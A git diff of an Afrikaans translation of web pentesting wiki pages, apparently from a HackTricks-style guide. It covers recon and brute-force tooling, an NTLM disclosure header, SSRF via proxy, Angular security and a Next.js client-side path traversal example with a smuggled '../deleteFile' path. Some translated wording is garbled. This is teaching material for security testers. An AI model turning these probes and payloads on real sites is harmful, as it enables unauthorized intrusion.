watter **hash-algoritme** word gebruik? - Gebruik dit enige **meester sleutel** om iets te enkripteer? Watter **algoritme** word gebruik? -- Kan jy **enige van hierdie lêers** toegang verkry deur 'n kwesbaarheid te benut? -- Is daar enige **interessante inligting in die github** (opgeloste en nie-opgeloste) **kwessies**? Of in **commit geskiedenis** (miskien 'n **wagwoord wat in 'n ou commit ingevoer is**)? +- Kan jy **toegang tot enige van hierdie lêers** verkry deur 'n kwesbaarheid te benut? +- Is daar enige **interessante inligting in die github** (opgeloste en nie-opgeloste) **kwessies**? Of in **verbeteringsgeskiedenis** (miskien 'n **wagwoord wat in 'n ou verbetering ingevoer is**)? {{#ref}} code-review-tools.md @@ -132,7 +132,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi ``` #### CMS scanners -As 'n CMS gebruik word, moenie vergeet om **'n skandeerder te loop'**, dalk word iets sappigs gevind: +As 'n CMS gebruik word, moenie vergeet om **'n skandeerder te loop'** nie, dalk word iets sappigs gevind: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\ [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** webwerwe vir Sekuriteitskwessies. (GUI)\ @@ -176,7 +176,7 @@ Webbedieners mag **onverwagte** gedrag vertoon wanneer vreemde data na hulle ges As jy vind dat **WebDav** **geaktiveer** is, maar jy nie genoeg regte het om **lêers op te laai** in die wortelgids nie, probeer om: - **Brute Force** akrediteer -- **Lêers op te laai** via WebDav na die **oorblywende** **gevonde gidse** binne die webblad. Jy mag regte hê om lêers in ander gidse op te laai. +- **Lêers oplaai** via WebDav na die **oorblywende** **gevonde gidse** binne die webblad. Jy mag regte hê om lêers in ander gidse op te laai. ### **SSL/TLS kwesbaarhede** @@ -212,18 +212,18 @@ Begin 'n soort **spider** binne die web. Die doel van die spider is om **soveel - [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider met JS-rendering vermoëns. - [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, met JS beautify vermoëns wat in staat is om nuwe paaie in JS-lêers te soek. Dit kan ook die moeite werd wees om na [JSScanner](https://github.com/dark-warlord14/JSScanner) te kyk, wat 'n wrapper van LinkFinder is. - [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om eindpunte in beide HTML-bron en ingebedde javascript-lêers te onttrek. Nuttig vir foutjagters, rooi spanlede, infosec ninjas. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n Python 2.7 skrip wat Tornado en JSBeautifier gebruik om relatiewe URL's uit JavaScript-lêers te parse. Nuttig om AJAX versoeke maklik te ontdek. Dit lyk of dit nie meer onderhou word nie. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n Python 2.7 skrip wat Tornado en JSBeautifier gebruik om relatiewe URL's uit JavaScript-lêers te ontleed. Nuttig om AJAX versoeke maklik te ontdek. Dit lyk of dit nie meer onderhou word nie. - [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegewe 'n lêer (HTML) sal dit URL's daaruit onttrek met behulp van slim regulêre uitdrukkings om die relatiewe URL's uit lelike (minify) lêers te vind en onttrek. - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, verskeie hulpmiddels): Verskaf interessante inligting uit JS-lêers met behulp van verskeie hulpmiddels. - [**subjs**](https://github.com/lc/subjs) (go): Vind JS-lêers. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless browser en druk al die URL's wat gelaai is om die bladsy te laai. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless blaasker en druk al die URL's wat gelaai is om die bladsy te laai. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Inhoud ontdekking hulpmiddel wat verskeie opsies van die vorige hulpmiddels meng. - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp uitbreiding om paaie en params in JS-lêers te vind. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n Hulpmiddel wat gegewe die .js.map URL die geoptimaliseerde JS-kode sal kry. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n Hulpmiddel wat gegewe die .js.map URL die mooi JS-kode sal kry. - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Dit is 'n hulpmiddel wat gebruik word om eindpunte vir 'n gegewe teiken te ontdek. - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek skakels van die wayback masjien (ook die antwoorde in die wayback aflaai en na meer skakels soek). - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Kruip (selfs deur vorms in te vul) en vind ook sensitiewe inligting met behulp van spesifieke regexes. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-funksie GUI web sekuriteit Kruiper/Spider ontwerp vir kuberveiligheid professionele. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-funksie GUI web sekuriteit Kruiper/Spider ontwerp vir kuberveveiliging professionele. - [**jsluice**](https://github.com/BishopFox/jsluice) (go): Dit is 'n Go-pakket en [opdraglyn hulpmiddel](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) om URL's, paaie, geheime en ander interessante data uit JavaScript-bronkode te onttrek. - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite uitbreiding** om **die parameters en eindpunte** uit die versoek te onttrek om 'n pasgemaakte woordlys vir fuzzing en enumerasie te skep. - [**katana**](https://github.com/projectdiscovery/katana) (go): Wonderlike hulpmiddel hiervoor. @@ -231,7 +231,7 @@ Begin 'n soort **spider** binne die web. Die doel van die spider is om **soveel ### Brute Force directories and files -Begin **brute-forcing** vanaf die wortelgids en wees seker om **alle** die **gidsen wat gevind is** te brute-force met **hierdie metode** en al die gidsen **ontdek** deur die **Spidering** (jy kan hierdie brute-forcing **rekursief** doen en die name van die gevonde gidsen aan die begin van die gebruikte woordlys voeg).\ +Begin **brute-forcing** vanaf die wortelmap en wees seker om **alle** die **ggevonde directories** te brute-force met **hierdie metode** en al die directories **ontdek** deur die **Spidering** (jy kan hierdie brute-forcing **rekursief** doen en aan die begin van die gebruikte woordlys die name van die gevonde directories byvoeg).\ Hulpmiddels: - **Dirb** / **Dirbuster** - Ingesluit in Kali, **oud** (en **stadig**) maar funksioneel. Laat outomaties onderteken sertifikate toe en rekursiewe soektog. Te stadig in vergelyking met die ander opsies. @@ -241,7 +241,7 @@ Hulpmiddels: - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Vinning: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` - [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie, maar 'n hulpmiddel wat gegewe die lys van gevonde URL's sal "gedupliseerde" URL's verwyder. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Uitbreiding om 'n lys van gidsen uit die burp geskiedenis van verskillende bladsye te skep. +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Uitbreiding om 'n lys van directories uit die burp geskiedenis van verskillende bladsye te skep. - [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URL's met gedupliseerde funksies (gebaseer op js imports). - [**Chamaleon**](https://github.com/iustin24/chameleon): Dit gebruik wapalyzer om gebruikte tegnologieë te detecteer en die woordlyste te kies. @@ -264,22 +264,22 @@ Hulpmiddels: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Nota dat enige tyd 'n nuwe gids ontdek word tydens brute-forcing of spidering, dit moet brute-forced word._ +_Nota dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spidering, dit moet brute-forced word._ ### Wat om te kontroleer op elke gevonde lêer -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke skakels binne HTML's wat geneig kan wees om oorgeneem te word. -- **Lêer Rugsteun**: Sodra jy al die lêers gevind het, soek vir rugsteun van al die uitvoerbare lêers ("_.php_", "_.aspx_"...). Algemene variasies vir die benoeming van 'n rugsteun is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp en file.old._ Jy kan ook die hulpmiddel [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Ontdek nuwe parameters**: Jy kan hulpmiddels soos [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **en** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gebruik om versteekte parameters te ontdek. As jy kan, kan jy probeer om** versteekte parameters op elke uitvoerbare web lêer te soek. +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke skakels binne HTML's wat geneig kan wees om oorname te ondergaan. +- **Lêer Rugsteun**: Sodra jy al die lêers gevind het, soek na rugsteun van al die uitvoerbare lêers ("_.php_", "_.aspx_"...). Algemene variasies vir die benoeming van 'n rugsteun is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp en file.old._ Jy kan ook die hulpmiddel [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- **Ontdek nuwe parameters**: Jy kan hulpmiddels soos [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **en** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gebruik om verborge parameters te ontdek. As jy kan, kan jy probeer om** verborge parameters op elke uitvoerbare web lêer te soek. - _Arjun al standaard woordlyste:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Kommentaar:** Kontroleer die kommentaar van al die lêers, jy kan **akkrediteer** of **versteekte funksionaliteit** vind. -- As jy **CTF** speel, is 'n "gewone" truuk om **inligting** te **versteek** binne kommentaar aan die **regterkant** van die **bladsy** (met behulp van **honderde** **spasies** sodat jy nie die data sien as jy die bronkode met die blaaiert oopmaak nie). 'n Ander moontlikheid is om **verskeie nuwe lyne** te gebruik en **inligting** in 'n kommentaar aan die **onderkant** van die webblad te versteek. -- **API sleutels**: As jy **enige API-sleutel** vind, is daar 'n gids wat aandui hoe om API-sleutels van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird). -- Google API sleutels: As jy enige API-sleutel vind wat lyk soos **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kyk watter API's die sleutel kan toegang. -- **S3 Buckets**: Terwyl jy spider, kyk of enige **subdomein** of enige **skakel** verband hou met 'n **S3-bucket**. In daardie geval, [**kontroleer** die **toestemmings** van die bucket](buckets/). +- **Kommentaar:** Kontroleer die kommentaar van al die lêers, jy kan **akkrediteer** of **verborge funksionaliteit** vind. +- As jy **CTF** speel, is 'n "gewone" truuk om **inligting** te **versteek** binne kommentaar aan die **regterkant** van die **bladsy** (met behulp van **honderde** **spasies** sodat jy nie die data sien as jy die bronkode met die blaasker oopmaak). 'n Ander moontlikheid is om **verskeie nuwe lyne** te gebruik en **inligting** in 'n kommentaar aan die **onderkant** van die webblad te versteek. +- **API sleutels**: As jy **enige API sleutel** vind, is daar 'n gids wat aandui hoe om API sleutels van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird). +- Google API sleutels: As jy enige API sleutel vind wat lyk soos **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kyk watter API's die sleutel kan toegang. +- **S3 Buckets**: Terwyl jy spider, kyk of enige **subdomein** of enige **skakel** verband hou met 'n **S3 bucket**. In daardie geval, [**kontroleer** die **toestemmings** van die bucket](buckets/). ### Spesiale bevindings @@ -287,9 +287,9 @@ _Nota dat enige tyd 'n nuwe gids ontdek word tydens brute-forcing of spidering, **Interessante lêers** -- Soek vir **skakels** na ander lêers binne die **CSS** lêers. +- Soek na **skakels** na ander lêers binne die **CSS** lêers. - [As jy 'n _**.git**_ lêer vind, kan sommige inligting onttrek word](git.md). -- As jy 'n _**.env**_ lêer vind, kan inligting soos API-sleutels, databasis wagwoorde en ander inligting gevind word. +- As jy 'n _**.env**_ vind, kan inligting soos API sleutels, databasis wagwoorde en ander inligting gevind word. - As jy **API eindpunte** vind, [moet jy dit ook toets](web-api-pentesting.md). Hierdie is nie lêers nie, maar sal waarskynlik "soos" hulle lyk. - **JS lêers**: In die spidering afdeling is verskeie hulpmiddels genoem wat paaie uit JS-lêers kan onttrek. Dit sal ook interessant wees om **elke JS-lêer wat gevind is** te monitor, aangesien 'n verandering kan aandui dat 'n potensiële kwesbaarheid in die kode ingevoer is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)**.** gebruik. - Jy moet ook ontdekte JS-lêers met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) kontroleer om te vind of dit kwesbaar is. @@ -297,7 +297,7 @@ _Nota dat enige tyd 'n nuwe gids ontdek word tydens brute-forcing of spidering, - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org). - **JsFuck deobfuscation** (javascript met karakters:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)). - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- Op verskeie geleenthede sal jy die **regulêre uitdrukkings** wat gebruik word moet **begryp**. Dit sal nuttig wees: [https://regex101.com/](https://regex101.com) of [https://pythonium.net/regex](https://pythonium.net/regex). +- Op verskeie geleenthede sal jy die **regulêre uitdrukkings** wat gebruik word, moet **begryp**. Dit sal nuttig wees: [https://regex101.com/](https://regex101.com) of [https://pythonium.net/regex](https://pythonium.net/regex). - Jy kan ook **die lêers monitor waar vorms gedetecteer is**, aangesien 'n verandering in die parameter of die verskyning van 'n nuwe vorm 'n potensiële nuwe kwesbare funksionaliteit kan aandui. **403 Verbode/Basiese Verifikasie/401 Nie-toegelaat (omseiling)** @@ -310,19 +310,19 @@ _Nota dat enige tyd 'n nuwe gids ontdek word tydens brute-forcing of spidering, As enige bladsy **antwoord** met daardie **kode**, is dit waarskynlik 'n **sleg geconfigureerde proxy**. **As jy 'n HTTP versoek soos: `GET https://google.com HTTP/1.1`** (met die host header en ander algemene headers) stuur, sal die **proxy** probeer om **toegang** te verkry tot _**google.com**_ **en jy sal 'n** SSRF gevind het. -**NTLM Verifikasie - Inligtingsontsluiting** +**NTLM Verifikasie - Inligting openbaar** -As die bediener wat verifikasie vra **Windows** is of jy 'n aanmelding vind wat om jou **akkrediteer** (en om **domeinnaam** vra), kan jy 'n **inligtingsontsluiting** veroorsaak.\ +As die bediener wat verifikasie vra **Windows** is of jy 'n aanmelding vind wat om jou **akkrediteer** (en om **domein** **naam** vra), kan jy 'n **inligting openbaar** veroorsaak.\ **Stuur** die **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` en as gevolg van hoe die **NTLM verifikasie werk**, sal die bediener met interne inligting (IIS weergawe, Windows weergawe...) binne die header "WWW-Authenticate" antwoordgee.\ -Jy kan dit **automate** met die **nmap plugin** "_http-ntlm-info.nse_". +Jy kan **dit outomatiseer** met die **nmap plugin** "_http-ntlm-info.nse_". -**HTTP Oorleiding (CTF)** +**HTTP Oorplasing (CTF)** -Dit is moontlik om **inhoud** binne 'n **Oorleiding** te plaas. Hierdie inhoud **sal nie aan die gebruiker gewys word nie** (aangesien die blaaiert die oorleiding sal uitvoer), maar iets kan **versteek** wees daarin. +Dit is moontlik om **inhoud** binne 'n **Oorplasing** te **sit**. Hierdie inhoud **sal nie aan die gebruiker** gewys word nie (aangesien die blaasker die oorplasing sal uitvoer), maar iets kan **versteek** wees daarin. ### Web Kwesbaarhede Kontroleer -Nou dat 'n omvattende enumerasie van die webtoepassing uitgevoer is, is dit tyd om vir 'n baie moontlike kwesbaarhede te kontroleer. Jy kan die kontrolelys hier vind: +Nou dat 'n omvattende enumerasie van die webtoepassing uitgevoer is, is dit tyd om vir 'n klomp moontlike kwesbaarhede te kontroleer. Jy kan die kontrolelys hier vind: {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md index 995e0c0cd..1a8eb85e2 100644 --- a/src/network-services-pentesting/pentesting-web/angular.md +++ b/src/network-services-pentesting/pentesting-web/angular.md @@ -10,7 +10,7 @@ Kontrolelys [van hier](https://lsgeurope.com/post/angular-security-checklist). * [ ] Die gebruiker het geen beheer oor bediener-kant of kliënt-kant sjablone nie * [ ] Onbetroubare gebruikersinvoer word gesaniteer met 'n toepaslike sekuriteitskonteks voordat dit deur die aansoek vertrou word * [ ] `BypassSecurity*` metodes word nie gebruik met onbetroubare invoer nie -* [ ] Onbetroubare gebruikersinvoer word nie aan Angular klasse soos `ElementRef`, `Renderer2` en `Document`, of ander JQuery/DOM sinks deurgegee nie +* [ ] Onbetroubare gebruikersinvoer word nie aan Angular klasse soos `ElementRef`, `Renderer2` en `Document`, of ander JQuery/DOM sinks oorgedra nie ## Wat is Angular @@ -41,7 +41,7 @@ my-workspace/ ``` Volgens die dokumentasie het elke Angular-toepassing ten minste een komponent, die wortelkomponent (`AppComponent`) wat 'n komponenthiërargie met die DOM verbind. Elke komponent definieer 'n klas wat toepassingsdata en -logika bevat, en is geassosieer met 'n HTML-sjabloon wat 'n weergawe definieer wat in 'n teikenomgewing vertoon moet word. Die `@Component()` dekorator identifiseer die klas onmiddellik onder dit as 'n komponent, en verskaf die sjabloon en verwante komponent-spesifieke metadata. Die `AppComponent` is gedefinieer in die `app.component.ts` lêer. -Angular NgModules verklaar 'n kompilasiekonteks vir 'n stel komponente wat toegewy is aan 'n toepassingsdomein, 'n werksvloei, of 'n nou verwante stel vermoëns. Elke Angular-toepassing het 'n wortelmodule, konvensioneel genoem `AppModule`, wat die opstartmeganisme verskaf wat die toepassing begin. 'n Toepassing bevat tipies baie funksionele modules. Die `AppModule` is gedefinieer in die `app.module.ts` lêer. +Angular NgModules verklaar 'n kompileringskonteks vir 'n stel komponente wat toegewy is aan 'n toepassingsdomein, 'n werksvloei, of 'n nou verwante stel vermoëns. Elke Angular-toepassing het 'n wortelmodule, konvensioneel genoem `AppModule`, wat die opstartmeganisme verskaf wat die toepassing begin. 'n Toepassing bevat tipies baie funksionele modules. Die `AppModule` is gedefinieer in die `app.module.ts` lêer. Die Angular `Router` NgModule bied 'n diens wat jou toelaat om 'n navigasiepunt tussen die verskillende toepassingsstate en weergavehiërargieë in jou toepassing te definieer. Die `RouterModule` is gedefinieer in die `app-routing.module.ts` lêer. @@ -49,7 +49,7 @@ Vir data of logika wat nie geassosieer is met 'n spesifieke weergawe nie, en wat ## Sourcemap konfigurasie -Die Angular-raamwerk vertaal TypeScript-lêers na JavaScript-kode deur `tsconfig.json` opsies te volg en bou dan 'n projek met `angular.json` konfigurasie. Kyk na die `angular.json` lêer, het ons 'n opsie opgemerk om 'n sourcemap in te skakel of te deaktiveer. Volgens die Angular-dokumentasie het die standaardkonfigurasie 'n sourcemap-lêer wat vir skrifte geaktiveer is en nie standaard versteek is nie: +Die Angular-raamwerk vertaal TypeScript-lêers na JavaScript-kode deur die `tsconfig.json` opsies te volg en bou dan 'n projek met `angular.json` konfigurasie. Kyk na die `angular.json` lêer, het ons 'n opsie opgemerk om 'n sourcemap in te skakel of te deaktiveer. Volgens die Angular-dokumentasie het die standaardkonfigurasie 'n sourcemap-lêer wat vir skrifte geaktiveer is en nie standaard versteek is nie: ```json "sourceMap": { "scripts": true, @@ -58,34 +58,34 @@ Die Angular-raamwerk vertaal TypeScript-lêers na JavaScript-kode deur `tsconfig "hidden": false } ``` -Algemeen word sourcemap-lêers gebruik vir foutopsporing, aangesien hulle gegenereerde lêers aan hul oorspronklike lêers koppel. Daarom word dit nie aanbeveel om hulle in 'n produksie-omgewing te gebruik nie. As sourcemaps geaktiveer is, verbeter dit die leesbaarheid en help dit met lêeranalyse deur die oorspronklike toestand van die Angular-projek te herhaal. As hulle egter gedeaktiveer is, kan 'n beoordelaar steeds 'n saamgestelde JavaScript-lêer handmatig ontleed deur te soek na anti-sekuriteitspatrone. +Algemeen word sourcemap-lêers gebruik vir foutopsporing, aangesien hulle gegenereerde lêers aan hul oorspronklike lêers koppel. Daarom word dit nie aanbeveel om hulle in 'n produksie-omgewing te gebruik nie. As sourcemaps geaktiveer is, verbeter dit die leesbaarheid en help dit met lêeranalyse deur die oorspronklike toestand van die Angular-projek te herhaal. As hulle egter gedeaktiveer is, kan 'n beoordelaar steeds 'n saamgestelde JavaScript-lêer handmatig analiseer deur te soek na anti-sekuriteitspatrone. -Verder kan 'n saamgestelde JavaScript-lêer met 'n Angular-projek in die blaierontwikkelaar gereedskap gevind word → Sources (of Debugger en Sources) → \[id].main.js. Afhangende van die geaktiveerde opsies, kan hierdie lêer die volgende ry aan die einde bevat `//# sourceMappingURL=[id].main.js.map` of dit mag nie wees nie, as die **hidden** opsie op **true** gestel is. Nietemin, as die sourcemap vir **scripts** gedeaktiveer is, word toetsing meer kompleks, en ons kan nie die lêer verkry nie. Daarbenewens kan sourcemap tydens projekbou geaktiveer word soos `ng build --source-map`. +Verder kan 'n saamgestelde JavaScript-lêer met 'n Angular-projek in die blaaiers ontwikkelaarstoestelle gevind word → Sources (of Debugger en Sources) → \[id].main.js. Afhangende van die geaktiveerde opsies, kan hierdie lêer die volgende ry aan die einde bevat `//# sourceMappingURL=[id].main.js.map` of dit mag nie wees nie, as die **hidden** opsie op **true** gestel is. Nietemin, as die sourcemap vir **scripts** gedeaktiveer is, word toetsing meer kompleks, en ons kan nie die lêer verkry nie. Daarbenewens kan sourcemap tydens projekbou geaktiveer word soos `ng build --source-map`. ## Data binding -Binding verwys na die proses van kommunikasie tussen 'n komponent en sy ooreenstemmende weergawe. Dit word gebruik om data na en van die Angular-raamwerk oor te dra. Data kan deur verskeie middele oorgedra word, soos deur gebeurtenisse, interpolasie, eienskappe, of deur die twee-rigting binding meganisme. Boonop kan data ook tussen verwante komponente (ouer-kind verhouding) en tussen twee nie-verwante komponente gedeel word deur die Diens-funksie. +Binding verwys na die proses van kommunikasie tussen 'n komponent en sy ooreenstemmende weergawe. Dit word gebruik om data na en van die Angular-raamwerk oor te dra. Data kan deur verskeie middele oorgedra word, soos deur gebeurtenisse, interpolasie, eienskappe, of deur die twee-rigting binding meganisme. Boonop kan data ook tussen verwante komponente (ouer-kind verhouding) en tussen twee nie-verwante komponente gedeel word deur die Service-funksie. Ons kan binding klassifiseer volgens datastroom: -* Datasoort na weergawe-teiken (sluit _interpolasie_, _eienskappe_, _attribuut_, _klasse_ en _styl_ in); kan toegepas word deur `[]` of `{{}}` in die sjabloon te gebruik; -* Weergawe-teiken na datasoort (sluit _gebeurtenisse_ in); kan toegepas word deur `()` in die sjabloon te gebruik; +* Datasoort na weergawe teiken (sluit _interpolasie_, _eienskappe_, _attribuut_, _klasse_ en _styl_ in); kan toegepas word deur `[]` of `{{}}` in die sjabloon te gebruik; +* Weergawe teiken na datasoort (sluit _gebeurtenisse_ in); kan toegepas word deur `()` in die sjabloon te gebruik; * Twee-rigting; kan toegepas word deur `[()]` in die sjabloon te gebruik. Binding kan op eienskappe, gebeurtenisse en attribuut, sowel as op enige publieke lid van 'n bronrigting genoem word: | Tipe | Teiken | Voorbeelde | | --------- | -------------------------------------------------------- | ------------------------------------------------------------------ | -| Eiendom | Elementeiendom, Komponenteiendom, Rigtingeiendom | \ | -| Gebeurtenis| Elementgebeurtenis, Komponentegebeurtenis, Rigtinggebeurtenis | \
@@ -241,11 +241,11 @@ return ( Catch-All Roetes -Catch-all roetes hanteer verskeie geneste segmente of onbekende pades, wat buigsaamheid in roete hantering bied. +Catch-all roetes hanteer verskeie geneste segmente of onbekende pades, wat buigsaamheid in roete hanteering bied. **Voorbeeld: `/*` Roete** -**Lêer Struktuur:** +**Lêerstruktuur:** ```arduino my-nextjs-app/ ├── app/ @@ -280,14 +280,14 @@ return ( **Verklaring:** - **Catch-All Segment:** `[...slug]` vang alle oorblywende padsegmente as 'n array. -- **Gebruik:** Nuttig vir die hantering van dinamiese routering scenario's soos gebruiker-gegenereerde pades, geneste kategorieë, ens. -- **Roete-ooreenstemming:** Pade soos `/anything/here`, `/foo/bar/baz`, ens., word deur hierdie komponent hanteer. +- **Gebruik:** Nuttig vir die hantering van dinamiese routering scenario's soos gebruiker-gegenereerde paaie, geneste kategorieë, ens. +- **Roete-ooreenstemming:** Paaie soos `/anything/here`, `/foo/bar/baz`, ens., word deur hierdie komponent hanteer. -### Potensiële Kliënt-Sy Veiligheidskwesbaarhede +### Potensiële Kliëntkant Kw vulnerabilities -Terwyl Next.js 'n veilige grondslag bied, kan onvanpaste koderingpraktyke kwesbaarhede inbring. Sleutel kliënt-sy kwesbaarhede sluit in: +Terwyl Next.js 'n veilige grondslag bied, kan onvanpaste koderingpraktyke kwesbaarhede inbring. Sleutel kliëntkant kwesbaarhede sluit in:
@@ -310,7 +310,7 @@ return
Kliëntkant Sjabloon Inspuiting -Dit gebeur wanneer gebruikersinvoere verkeerd hanteer word in sjablone, wat aanvallers toelaat om sjablone of uitdrukkings in te voeg en uit te voer. +Dit gebeur wanneer gebruikersinvoere verkeerd hanteer word in sjablone, wat aanvallers in staat stel om sjablone of uitdrukkings in te voeg en uit te voer. **Voorbeeld van Kwetsbare Kode:** ```jsx @@ -330,11 +330,11 @@ return
Kliënt Pad Traversal -Dit is 'n kwesbaarheid wat aanvallers toelaat om kliënt-kant paden te manipuleer om onbedoelde aksies uit te voer, soos Cross-Site Request Forgery (CSRF). Anders as bediener-kant pad traversal, wat die bediener se lêerstelsel teiken, fokus CSPT op die ontginning van kliënt-kant meganismes om wettige API versoeke na kwaadwillige eindpunte te herlei. +Dit is 'n kwesbaarheid wat aanvallers toelaat om kliënt-kant padhanteer te manipuleer om onbedoelde aksies uit te voer, soos Cross-Site Request Forgery (CSRF). Anders as bediener-kant pad traversal, wat die bediener se lêerstelsel teiken, fokus CSPT op die ontginning van kliënt-kant meganismes om wettige API versoeke na kwaadwillige eindpunte te herlei. **Voorbeeld van Kwetsbare Kode:** -'n Next.js toepassing laat gebruikers toe om lêers op te laai en af te laai. Die aflaai-funksie is geïmplementeer aan die kliëntkant, waar gebruikers die lêerpad kan spesifiseer om af te laai. +'n Next.js-toepassing laat gebruikers toe om lêers op te laai en af te laai. Die aflaai-funksie word aan die kliëntkant geïmplementeer, waar gebruikers die lêerpad kan spesifiseer om af te laai. ```jsx // pages/download.js import { useState } from "react" @@ -373,7 +373,7 @@ placeholder="Enter file path" 1. **Aanvaller se Doelwit**: Voer 'n CSRF-aanval uit om 'n kritieke lêer (bv. `admin/config.json`) te verwyder deur die `filePath` te manipuleer. 2. **Eksploitering van CSPT**: - **Kwaadwillige Invoer**: Die aanvaller skep 'n URL met 'n gemanipuleerde `filePath` soos `../deleteFile/config.json`. -- **Resultaat API Oproep**: Die kliënt-kant kode maak 'n versoek na `/api/files/../deleteFile/config.json`. +- **Resultaat API-oproep**: Die kliëntkant kode maak 'n versoek na `/api/files/../deleteFile/config.json`. - **Bediener se Hantering**: As die bediener nie die `filePath` valideer nie, verwerk dit die versoek, wat moontlik sensitiewe lêers kan verwyder of blootstel. 3. **Uitvoering van CSRF**: - **Gemanipuleerde Skakel**: Die aanvaller stuur die slagoffer 'n skakel of inkorporeer 'n kwaadwillige skrip wat die aflaai versoek met die gemanipuleerde `filePath` aktiveer. @@ -381,9 +381,9 @@ placeholder="Enter file path" #### Hoekom Dit Kwetsbaar Is -- **Gebrek aan Invoer Validasie**: Die kliënt-kant laat arbitrêre `filePath` 